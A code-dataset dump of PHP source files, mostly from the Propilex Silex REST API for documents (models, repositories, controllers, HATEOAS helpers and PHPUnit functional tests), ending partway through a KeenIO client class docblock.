repo stringlengths 7 63 | file_url stringlengths 81 284 | file_path stringlengths 5 200 | content stringlengths 0 32.8k | language stringclasses 1
value | license stringclasses 7
values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 15:02:33 2026-01-05 05:24:06 | truncated bool 2
classes |
|---|---|---|---|---|---|---|---|---|
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/app/config/propel/propilex.php | app/config/propel/propilex.php | <?php
$conf = require __DIR__ . '/conf/Propilex-conf.php';
foreach ($conf['datasources'] as $name => $configuration) {
if (!is_array($configuration)) {
continue;
}
$conf['datasources'][$name]['connection']['dsn'] = strtr(
$configuration['connection']['dsn'],
[ '%CACHE_DIR%' => realpath(__DIR__ . '/../../cache') ]
);
}
return $conf;
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Model/DocumentQuery.php | src/Propilex/Model/DocumentQuery.php | <?php
namespace Propilex\Model;
use Propilex\Model\om\BaseDocumentQuery;
/**
* @author William Durand <william.durand1@gmail.com>
*/
class DocumentQuery extends BaseDocumentQuery
{
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Model/Document.php | src/Propilex/Model/Document.php | <?php
namespace Propilex\Model;
use Propilex\Model\om\BaseDocument;
/**
* @author William Durand <william.durand1@gmail.com>
*/
class Document extends BaseDocument
{
/**
* @return boolean
*/
public function isEqualTo(Document $document)
{
return $this->getId() === $document->getId();
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Model/DocumentPeer.php | src/Propilex/Model/DocumentPeer.php | <?php
namespace Propilex\Model;
use Propilex\Model\om\BaseDocumentPeer;
/**
* @author William Durand <william.durand1@gmail.com>
*/
class DocumentPeer extends BaseDocumentPeer
{
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Model/Repository/InMemoryDocumentRepository.php | src/Propilex/Model/Repository/InMemoryDocumentRepository.php | <?php
namespace Propilex\Model\Repository;
use Pagerfanta\Pagerfanta;
use Pagerfanta\Adapter\ArrayAdapter;
use Propilex\Model\Document;
class InMemoryDocumentRepository implements DocumentRepositoryInterface
{
private $documents;
public function __construct(array $documents)
{
$this->documents = $documents;
}
/**
* {@inheritDoc}
*/
public function find($id)
{
foreach ($this->documents as $document) {
if ($id == $document->getId()) {
return $document;
}
}
return null;
}
/**
* {@inheritDoc}
*/
public function findAll()
{
return $this->documents;
}
/**
* {@inheritDoc}
*/
public function add(Document $document)
{
if (null === $id = $document->getId()) {
$document->setId($id = mt_rand() % 100);
$document->setCreatedAt(new \DateTime());
}
$document->setUpdatedAt(new \DateTime());
$this->documents[] = $document;
}
/**
* {@inheritDoc}
*/
public function remove(Document $document)
{
foreach ($this->documents as $id => $aDocument) {
if ($document->isEqualTo($aDocument)) {
unset($this->documents[$id]);
break;
}
}
}
/**
* {@inheritDoc}
*/
public function paginate($page, $limit)
{
$pager = new Pagerfanta(
new ArrayAdapter($this->findAll())
);
return $pager
->setMaxPerPage($limit)
->setCurrentPage($page);
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Model/Repository/PropelDocumentRepository.php | src/Propilex/Model/Repository/PropelDocumentRepository.php | <?php
namespace Propilex\Model\Repository;
use Pagerfanta\Adapter\PropelAdapter;
use Pagerfanta\Pagerfanta;
use Propilex\Model\Document;
/**
* @author William Durand <william.durand1@gmail.com>
*/
class PropelDocumentRepository implements DocumentRepositoryInterface
{
private $query;
public function __construct($query)
{
$this->query = $query;
}
/**
* {@inheritDoc}
*/
public function find($id)
{
return $this->query->findPk($id);
}
/**
* {@inheritDoc}
*/
public function findAll()
{
return $this->query->find()->getData();
}
/**
* {@inheritDoc}
*/
public function add(Document $document)
{
$document->save();
}
/**
* {@inheritDoc}
*/
public function remove(Document $document)
{
$document->delete();
}
/**
* {@inheritDoc}
*/
public function paginate($page, $limit)
{
$pager = new Pagerfanta(
new PropelAdapter($this->query)
);
return $pager
->setMaxPerPage($limit)
->setCurrentPage($page);
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Model/Repository/DocumentRepositoryInterface.php | src/Propilex/Model/Repository/DocumentRepositoryInterface.php | <?php
namespace Propilex\Model\Repository;
use Propilex\Model\Document;
interface DocumentRepositoryInterface
{
/**
* @return Document
*/
public function find($id);
/**
* @return Document[]
*/
public function findAll();
/**
* @param Document
*/
public function add(Document $document);
/**
* @param Document $document
*/
public function remove(Document $document);
/**
* @return \Pagerfanta\Pagerfanta
*/
public function paginate($page, $limit);
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Controller/DocumentController.php | src/Propilex/Controller/DocumentController.php | <?php
namespace Propilex\Controller;
use Hateoas\Configuration\Relation;
use Hateoas\Configuration\Route;
use Hateoas\Representation\CollectionRepresentation;
use Propilex\Model\Document;
use Propilex\Response\NoContentResponse;
use Silex\Application;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
class DocumentController
{
public function listAction(Request $request, Application $app)
{
$pager = $app['document_repository']->paginate(
(int) $request->query->get('page', 1),
(int) $request->query->get('limit', 10)
);
$response = new Response();
$results = (array) $pager->getCurrentPageResults();
$response->setPublic();
$response->setETag($this->computeETag($request, $results));
if ($response->isNotModified($request)) {
return $response;
}
$documents = $app['hateoas.pagerfanta_factory']->createRepresentation(
$pager,
new Route('document_list', [], true),
new CollectionRepresentation(
$results,
'documents',
null,
null,
null,
[
new Relation(
"expr(curies_prefix ~ ':documents')",
new Route("document_list", [], true)
)
]
),
true
);
return $app['view_handler']->handle($documents, 200, [], $response);
}
public function getAction(Request $request, Application $app, $id)
{
return $app['view_handler']->handle($this->findDocument($app, $id), 200);
}
public function postAction(Request $request, Application $app)
{
$document = new Document();
$values = $this->filterValues($request);
$document->fromArray($request->request->all(), \BasePeer::TYPE_FIELDNAME);
if (true !== $errors = $app['document_validator']($document)) {
return $app['view_handler']->handle($errors, 400);
}
$app['document_repository']->add($document);
return $app['view_handler']->handle($document, 201, [
'Location' => $app['serializer']->getLinkHelper()->getLinkHref($document, 'self', true),
]);
}
public function putAction(Request $request, Application $app, $id)
{
$document = $this->findDocument($app, $id);
$values = $this->filterValues($request);
$document->fromArray($values, \BasePeer::TYPE_FIELDNAME);
if (true !== $errors = $app['document_validator']($document)) {
return $app['view_handler']->handle($errors, 400);
}
$app['document_repository']->add($document);
return $app['view_handler']->handle($document);
}
public function deleteAction(Application $app, $id)
{
$document = $this->findDocument($app, $id);
$app['document_repository']->remove($document);
return new NoContentResponse();
}
private function findDocument(Application $app, $id)
{
if (null === $document = $app['document_repository']->find($id)) {
throw new NotFoundHttpException($app['translator']->trans(
'document_not_found',
[ '%id%' => $id, ]
));
}
return $document;
}
private function filterValues(Request $request)
{
return array_intersect_key(
$request->request->all(),
array_flip([ 'title', 'body' ])
);
}
private function computeETag(Request $request, $documents)
{
return md5($request->attributes->get('_format') . implode('|', array_map(function ($document) {
return (string) $document;
}, $documents)));
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Controller/HomeController.php | src/Propilex/Controller/HomeController.php | <?php
namespace Propilex\Controller;
use Propilex\View\Endpoint;
use Silex\Application;
use Symfony\Component\HttpFoundation\Request;
class HomeController
{
public function indexAction(Request $request, Application $app)
{
if ('html' === $request->attributes->get('_format')) {
return file_get_contents(__DIR__ . '/../../../web/index.html');
}
return $app['view_handler']->handle(
new Endpoint($app['translator'])
);
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Hateoas/TransExpressionFunction.php | src/Propilex/Hateoas/TransExpressionFunction.php | <?php
namespace Propilex\Hateoas;
use Hateoas\Expression\ExpressionFunctionInterface;
use Symfony\Component\Translation\Translator;
class TransExpressionFunction implements ExpressionFunctionInterface
{
/**
* @var Translator
*/
private $translator;
public function __construct(Translator $translator)
{
$this->translator = $translator;
}
/**
* {@inheritDoc}
*/
public function getName()
{
return 'trans';
}
/**
* {@inheritDoc}
*/
public function getCompiler()
{
return function ($id, array $parameters = array()) {
return sprintf('$translator->trans(%s, %s)', $id, $parameters);
};
}
/**
* {@inheritDoc}
*/
public function getEvaluator()
{
return function ($context, $id, array $parameters = array()) {
return $context['translator']->trans($id, $parameters);
};
}
/**
* {@inheritDoc}
*/
public function getContextVariables()
{
return array('translator' => $this->translator);
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Hateoas/CuriesConfigurationExtension.php | src/Propilex/Hateoas/CuriesConfigurationExtension.php | <?php
namespace Propilex\Hateoas;
use Hateoas\Configuration\Relation;
use Hateoas\Configuration\Route;
use Hateoas\Configuration\Metadata\ClassMetadataInterface;
use Hateoas\Configuration\Metadata\ConfigurationExtensionInterface;
class CuriesConfigurationExtension implements ConfigurationExtensionInterface
{
private $routeName;
private $generatorName;
public function __construct($routeName, $generatorName)
{
$this->routeName = $routeName;
$this->generatorName = $generatorName;
}
/**
* {@inheritDoc}
*/
public function decorate(ClassMetadataInterface $classMetadata)
{
$classes = [
'Propilex\View\Endpoint',
'Hateoas\Representation\CollectionRepresentation',
];
if (!in_array($classMetadata->getName(), $classes)) {
return;
}
$classMetadata->addRelation(
new Relation(
'curies',
new Route(
$this->routeName,
[ 'rel' => '{rel}' ]
,
true,
$this->generatorName
),
null,
[
'name' => "expr(curies_prefix)",
'templated' => true,
]
)
);
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Hateoas/VndErrorRepresentation.php | src/Propilex/Hateoas/VndErrorRepresentation.php | <?php
namespace Propilex\Hateoas;
use Hateoas\Configuration\Relation;
use Hateoas\Configuration\Annotation as Hateoas;
use Hateoas\Configuration\Metadata\ClassMetadataInterface;
use JMS\Serializer\Annotation as Serializer;
/**
* @Serializer\ExclusionPolicy("all")
* @Serializer\XmlRoot("resource")
*
* @Hateoas\RelationProvider("getRelations")
*
* @author William Durand <william.durand1@gmail.com>
*/
class VndErrorRepresentation
{
/**
* @Serializer\Expose
*/
private $message;
/**
* @Serializer\Expose
* @Serializer\XmlAttribute
*/
private $logref;
/**
* @var Relation
*/
private $help;
/**
* @var Relation
*/
private $describes;
public function __construct($message, $logref = null, Relation $help = null, Relation $describes = null)
{
$this->message = $message;
$this->logref = $logref;
$this->help = $help;
$this->describes = $describes;
}
public function getRelations($object, ClassMetadataInterface $classMetadata)
{
$relations = array();
if (null !== $this->help) {
$relations[] = $this->help;
}
if (null !== $this->describes) {
$relations[] = $this->describes;
}
return $relations;
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/Response/NoContentResponse.php | src/Propilex/Response/NoContentResponse.php | <?php
namespace Propilex\Response;
use Symfony\Component\HttpFoundation\Response;
class NoContentResponse extends Response
{
public function __construct()
{
parent::__construct('', 204);
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/View/FormErrors.php | src/Propilex/View/FormErrors.php | <?php
namespace Propilex\View;
use Symfony\Component\Validator\ConstraintViolationList;
final class FormErrors
{
private $errors = [];
public function __construct(ConstraintViolationList $violations)
{
foreach ($violations as $violation) {
$this->errors[] = new FieldError(
$violation->getPropertyPath(),
$violation->getMessage()
);
}
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/View/Endpoint.php | src/Propilex/View/Endpoint.php | <?php
namespace Propilex\View;
final class Endpoint
{
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/View/ViewHandler.php | src/Propilex/View/ViewHandler.php | <?php
namespace Propilex\View;
use JMS\Serializer\SerializerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Exception\NotAcceptableHttpException;
class ViewHandler
{
private $serializer;
private $request;
private $acceptableMimeTypes;
public function __construct(SerializerInterface $serializer, Request $request, array $acceptableMimeTypes)
{
$this->serializer = $serializer;
$this->request = $request;
$this->acceptableMimeTypes = $acceptableMimeTypes;
}
public function handle($data, $statusCode = 200, array $headers = [], Response $response = null)
{
$format = $this->request->attributes->get('_format');
$mimeType = $this->request->attributes->get('_mime_type');
if (!in_array($mimeType, $this->acceptableMimeTypes)) {
throw new NotAcceptableHttpException(sprintf(
'Mime type "%s" is not supported. Supported mime types are: %s.',
$mimeType,
implode(', ', $this->acceptableMimeTypes)
));
}
if (null === $response) {
$response = new Response();
}
if (in_array($statusCode, [ 404, 500 ])) {
switch ($format) {
case 'xml':
$mimeType = 'application/vnd.error+xml';
break;
default:
$mimeType = 'application/vnd.error+json';
}
}
if (400 === $statusCode) {
switch ($format) {
case 'xml':
$mimeType = 'application/xml';
break;
default:
$mimeType = 'application/json';
}
}
$response->setContent($this->serializer->serialize($data, $format));
$response->setStatusCode($statusCode);
$response->headers->add(array_merge(
[ 'Content-Type' => $mimeType ],
$headers
));
return $response;
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/View/Error.php | src/Propilex/View/Error.php | <?php
namespace Propilex\View;
class Error
{
private $message;
public function __construct($message)
{
$this->message = $message;
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/src/Propilex/View/FieldError.php | src/Propilex/View/FieldError.php | <?php
namespace Propilex\View;
class FieldError extends Error
{
private $field;
public function __construct($field, $message)
{
parent::__construct($message);
$this->field = $field;
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/tests/bootstrap.php | tests/bootstrap.php | <?php
$loader = require __DIR__ . '/../vendor/autoload.php';
$loader->add('Propilex', __DIR__ . '/../tests');
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/tests/Propilex/Tests/TestCase.php | tests/Propilex/Tests/TestCase.php | <?php
namespace Propilex\Tests;
/**
* @author William Durand <william.durand1@gmail.com>
*/
class TestCase extends \PHPUnit_Framework_TestCase
{
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/tests/Propilex/Tests/WebTestCase.php | tests/Propilex/Tests/WebTestCase.php | <?php
namespace Propilex\Tests;
use Silex\WebTestCase as BaseWebTestCase;
use Symfony\Component\HttpFoundation\Response;
abstract class WebTestCase extends BaseWebTestCase
{
protected function assertJsonResponse(Response $response, $statusCode = 200, $contentType = 'application/json')
{
$this->assertEquals(
$statusCode, $response->getStatusCode(),
$response->getContent()
);
$this->assertTrue(
$response->headers->contains('Content-Type', $contentType),
$response->headers
);
}
protected function assertJsonErrorResponse(Response $response, $statusCode = 200)
{
$this->assertJsonResponse($response, $statusCode, 'application/vnd.error+json');
}
protected function assertHalJsonResponse(Response $response, $statusCode = 200)
{
$this->assertJsonResponse($response, $statusCode, 'application/hal+json');
}
protected function assertValidDocument(array $document)
{
$this->assertArrayHasKey('id', $document);
$this->assertArrayHasKey('title', $document);
$this->assertArrayHasKey('body', $document);
$this->assertArrayHasKey('created_at', $document);
$this->assertArrayHasKey('updated_at', $document);
$this->assertArrayHasKey('_links', $document);
$this->assertCount(6, $document);
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/tests/Propilex/Tests/Controller/DocumentControllerTest.php | tests/Propilex/Tests/Controller/DocumentControllerTest.php | <?php
namespace Propilex\Tests\Controller;
use Propilex\Model\Document;
use Propilex\Model\Repository\InMemoryDocumentRepository;
use Propilex\Tests\WebTestCase;
class DocumentRestControllerTest extends WebTestCase
{
public function createApplication()
{
$app = require __DIR__ . '/../../../../app/propilex.php';
$app['debug'] = true;
$app['document_repository'] = $app->share(function () {
return new InMemoryDocumentRepository([
$this->createDocument(1, 'foo', 'bar'),
$this->createDocument(2, 'baz', 'bim'),
$this->createDocument(3, 'baz', 'noo'),
]);
});
return include __DIR__ . '/../../../../app/stack.php';
}
public function testListDocuments()
{
$client = static::createClient();
$crawler = $client->request('GET', '/documents', [], [], [
'HTTP_Accept' => 'application/hal+json',
]);
$response = $client->getResponse();
$this->assertHalJsonResponse($response);
$data = json_decode($response->getContent(), true);
$this->assertArrayHasKey('_embedded', $data);
$this->assertArrayHasKey('_links', $data);
$this->assertArrayHasKey('page', $data);
$this->assertArrayHasKey('pages', $data);
$this->assertArrayHasKey('limit', $data);
$this->assertArrayHasKey('documents', $data['_embedded']);
$documents = $data['_embedded']['documents'];
$this->assertCount(3, $documents);
$this->assertEquals(1, $data['page']);
$this->assertEquals(1, $data['pages']);
$this->assertEquals(10, $data['limit']);
foreach ($documents as $item) {
$this->assertValidDocument($item);
}
// cache
$this->assertTrue($response->isValidateable());
$this->assertTrue($response->headers->hasCacheControlDirective('public'));
$this->assertFalse($response->headers->has('Last-Modified'));
$this->assertTrue($response->headers->has('ETag'));
// links
$links = $data['_links'];
$this->assertArrayHasKey('self', $links);
$this->assertArrayHasKey('curies', $links);
$this->assertArrayHasKey('first', $links);
$this->assertArrayHasKey('last', $links);
$this->assertArrayNotHasKey('next', $links);
$this->assertArrayNotHasKey('previous', $links);
$this->assertEquals('p', $links['curies'][0]['name']);
$this->assertEquals('http://localhost/rels/{rel}', $links['curies'][0]['href']);
}
public function testListDocumentsIsPaginated()
{
$client = static::createClient();
$crawler = $client->request('GET', '/documents?limit=1', [], [], [
'HTTP_Accept' => 'application/hal+json',
]);
$response = $client->getResponse();
$this->assertHalJsonResponse($response);
$data = json_decode($response->getContent(), true);
$this->assertArrayHasKey('_embedded', $data);
$this->assertArrayHasKey('page', $data);
$this->assertArrayHasKey('pages', $data);
$this->assertArrayHasKey('limit', $data);
$this->assertArrayHasKey('documents', $data['_embedded']);
$documents = $data['_embedded']['documents'];
$this->assertCount(1, $documents);
$this->assertEquals(1, $data['page']);
$this->assertEquals(3, $data['pages']);
$this->assertEquals(1, $data['limit']);
$this->assertValidDocument(current($documents));
// links
$links = $data['_links'];
$this->assertArrayHasKey('self', $links);
$this->assertArrayHasKey('curies', $links);
$this->assertArrayHasKey('first', $links);
$this->assertArrayHasKey('last', $links);
$this->assertArrayHasKey('next', $links);
$this->assertArrayNotHasKey('previous', $links);
$this->assertEquals('p', $links['curies'][0]['name']);
$this->assertEquals('http://localhost/rels/{rel}', $links['curies'][0]['href']);
}
public function testGetDocument()
{
$client = static::createClient();
$crawler = $client->request('GET', '/documents/1', [], [], [
'HTTP_Accept' => 'application/hal+json',
]);
$response = $client->getResponse();
$this->assertHalJsonResponse($response);
$data = json_decode($response->getContent(), true);
$this->assertValidDocument($data);
}
public function testGetUnknownDocumentReturns404()
{
$client = static::createClient();
$crawler = $client->request('GET', '/documents/123', [], [], [
'HTTP_Accept' => 'application/hal+json',
]);
$response = $client->getResponse();
$this->assertJsonErrorResponse($response, 404);
$data = json_decode($response->getContent(), true);
$this->assertArrayHasKey('message', $data);
$this->assertEquals('Document with id = "123" does not exist.', $data['message']);
}
public function testErrorMessagesShouldBeTranslated()
{
$client = static::createClient();
$crawler = $client->request('GET', '/documents/123', [], [], [
'HTTP_Accept-Language' => 'fr',
'HTTP_Accept' => 'application/hal+json',
]);
$response = $client->getResponse();
$this->assertJsonErrorResponse($response, 404);
$data = json_decode($response->getContent(), true);
$this->assertArrayHasKey('message', $data);
$this->assertEquals('Le document avec id = "123" n\'existe pas.', $data['message']);
}
public function testPostJsonData()
{
$client = static::createClient();
$crawler = $client->request('POST', '/documents', [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_Accept' => 'application/hal+json',
], <<<JSON
{
"title": "Hello, World",
"body": "That's my body."
}
JSON
);
$response = $client->getResponse();
$this->assertHalJsonResponse($response, 201);
$this->assertTrue($response->headers->has('Location'));
$document = json_decode($response->getContent(), true);
$this->assertValidDocument($document);
}
public function testPostXmlData()
{
$client = static::createClient();
$crawler = $client->request('POST', '/documents', [], [], [
'CONTENT_TYPE' => 'application/xml',
'HTTP_Accept' => 'application/hal+json',
], <<<XML
<document>
<title>Hello, You</title>
<body>That's my body</body>
</document>
XML
);
$response = $client->getResponse();
$this->assertHalJsonResponse($response, 201);
$document = json_decode($response->getContent(), true);
$this->assertValidDocument($document);
$this->assertEquals('Hello, You', $document['title']);
$this->assertTrue($response->headers->has('Location'));
$this->assertEquals(
sprintf('http://localhost/documents/%d', $document['id']),
$response->headers->get('Location')
);
}
public function testPostInvalidXmlData()
{
$client = static::createClient();
$crawler = $client->request('POST', '/documents', [], [], [
'CONTENT_TYPE' => 'application/xml',
'HTTP_Accept' => 'application/hal+json',
], <<<XML
<document>
<title>Hello, You</title>
</document>
XML
);
$response = $client->getResponse();
$this->assertJsonResponse($response, 400);
$data = json_decode($response->getContent(), true);
$this->assertArrayHasKey('errors', $data);
$this->assertCount(1, $data['errors']);
$this->assertEquals('body', $data['errors'][0]['field']);
$this->assertEquals('This value should not be blank.', $data['errors'][0]['message']);
}
public function testPostInvalidJsonData()
{
$client = static::createClient();
$crawler = $client->request('POST', '/documents', [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_Accept' => 'application/hal+xml',
], <<<JSON
{
"body": "foo"
}
JSON
);
$response = $client->getResponse();
$this->assertEquals(400, $response->getStatusCode());
$this->assertEquals(<<<XML
<?xml version="1.0" encoding="UTF-8"?>
<errors>
<error field="title">
<message><![CDATA[This value should not be blank.]]></message>
</error>
</errors>
XML
, $response->getContent());
}
public function testPutXmlData()
{
$client = static::createClient();
$crawler = $client->request('PUT', '/documents/1', [], [], [
'CONTENT_TYPE' => 'application/xml',
'HTTP_Accept' => 'application/hal+json',
], <<<XML
<document>
<title>foo</title>
<body>That's my body</body>
</document>
XML
);
$response = $client->getResponse();
$this->assertHalJsonResponse($response, 200);
$document = json_decode($response->getContent(), true);
$this->assertValidDocument($document);
$this->assertEquals(1, $document['id']);
$this->assertEquals('foo', $document['title']);
$this->assertEquals('That\'s my body', $document['body']);
$this->assertFalse($response->headers->has('Location'));
}
public function testPutJsonData()
{
$client = static::createClient();
$crawler = $client->request('PUT', '/documents/1', [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_Accept' => 'application/hal+xml',
], <<<JSON
{
"title": "foo",
"body": "That's my body"
}
JSON
);
$response = $client->getResponse();
$this->assertEquals(200, $response->getStatusCode());
$this->assertFalse($response->headers->has('Location'));
$this->assertContains(<<<XML
<id>1</id>
<title><![CDATA[foo]]></title>
<body><![CDATA[That's my body]]></body>
XML
, $response->getContent());
}
public function testPutIsProtectedAgainstMassAssignement()
{
$client = static::createClient();
$crawler = $client->request('PUT', '/documents/1', [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_Accept' => 'application/hal+xml',
], <<<JSON
{
"id": 123,
"title": "foo",
"body": "That's my body"
}
JSON
);
$response = $client->getResponse();
$this->assertEquals(200, $response->getStatusCode());
$this->assertFalse($response->headers->has('Location'));
$this->assertContains(<<<XML
<id>1</id>
<title><![CDATA[foo]]></title>
<body><![CDATA[That's my body]]></body>
XML
, $response->getContent());
}
public function testDelete()
{
$client = static::createClient();
$crawler = $client->request('DELETE', '/documents/1');
$response = $client->getResponse();
$this->assertEquals(204, $response->getStatusCode());
$this->assertEquals('', $response->getContent());
}
private function createDocument($id, $title, $body)
{
$document = new Document();
$document->fromArray([
'id' => $id,
'title' => $title,
'body' => $body,
'created_at' => new \DateTime(),
'updated_at' => new \DateTime(),
]);
return $document;
}
}
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
willdurand/Propilex | https://github.com/willdurand/Propilex/blob/c983bed65d1cef3ff1bb635cda6c1cb02452cf18/web/index.php | web/index.php | <?php
date_default_timezone_set('Europe/Paris');
$filename = __DIR__.preg_replace('#(\?.*)$#', '', $_SERVER['REQUEST_URI']);
if (php_sapi_name() === 'cli-server' && is_file($filename)) {
return false;
}
$app = require_once __DIR__ . '/../app/propilex.php';
$app = include_once __DIR__ . '/../app/stack.php';
Stack\run($app);
| php | MIT | c983bed65d1cef3ff1bb635cda6c1cb02452cf18 | 2026-01-05T05:13:52.563402Z | false |
keenlabs/KeenClient-PHP | https://github.com/keenlabs/KeenClient-PHP/blob/755f7c145091108ceb9d515f8fcde7a5ec367386/src/Client/KeenIOClient.php | src/Client/KeenIOClient.php | <?php
namespace KeenIO\Client;
use GuzzleHttp\Command\CommandInterface;
use GuzzleHttp\Command\Guzzle\GuzzleClient;
use GuzzleHttp\Command\Guzzle\Description;
use GuzzleHttp\Client;
use KeenIO\Exception\RuntimeException;
/**
* Class KeenIOClient
*
* @package KeenIO\Client
*
* @method array getCollection(string $eventCollection, array $args = array()) {@command KeenIO getCollection}
* @method array getCollections(array $args = array()) {@command KeenIO getCollections}
* @method array deleteCollection(array $args = array()) {@command KeenIO getProperty}
* @method array getResources(array $args = array()) {@command KeenIO getResources}
* @method array getProjects(array $args = array()) {@command KeenIO getProjects}
* @method array getProject(array $args = array()) {@command KeenIO getProject}
* @method array getProperty(string $eventCollection, array $args = array()) {@command KeenIO getProperty}
* @method array getSavedQueries(array $args = array()) {@command KeenIO getProperty}
* @method array getSavedQuery(array $args = array()) {@command KeenIO getProperty}
* @method array createSavedQuery(array $args = array()) {@command KeenIO getProperty}
* @method array deleteSavedQuery(array $args = array()) {@command KeenIO getProperty}
* @method array getSavedQueryResults(array $args = array()) {@command KeenIO getProperty}
* @method array getEventSchemas(array $args = array()) {@command KeenIO getEventSchemas}
* @method array deleteEvents(string $eventCollection, array $args = array()) {@command KeenIO deleteEvents}
* @method array deleteEventProperties(string $eventCollection, array $args = array()))
* {@command KeenIO deleteEventProperties}
* @method array count(string $eventCollection, array $args = array())) {@command KeenIO count}
* @method array countUnique(string $eventCollection, array $args = array()) {@command KeenIO countUnique}
* @method array minimum(string $eventCollection, array $args = array()) {@command KeenIO minimum}
* @method array maximum(string $eventCollection, array $args = array()) {@command KeenIO maximum}
* @method array average(string $eventCollection, array $args = array()) {@command KeenIO average}
* @method array sum(string $eventCollection, array $args = array()) {@command KeenIO sum}
* @method array selectUnique(string $eventCollection, array $args = array()) {@command KeenIO selectUnique}
* @method array funnel(string $eventCollection, array $args = array()) {@command KeenIO funnel}
* @method array multiAnalysis(string $eventCollection, array $args = array()) {@command KeenIO multiAnalysis}
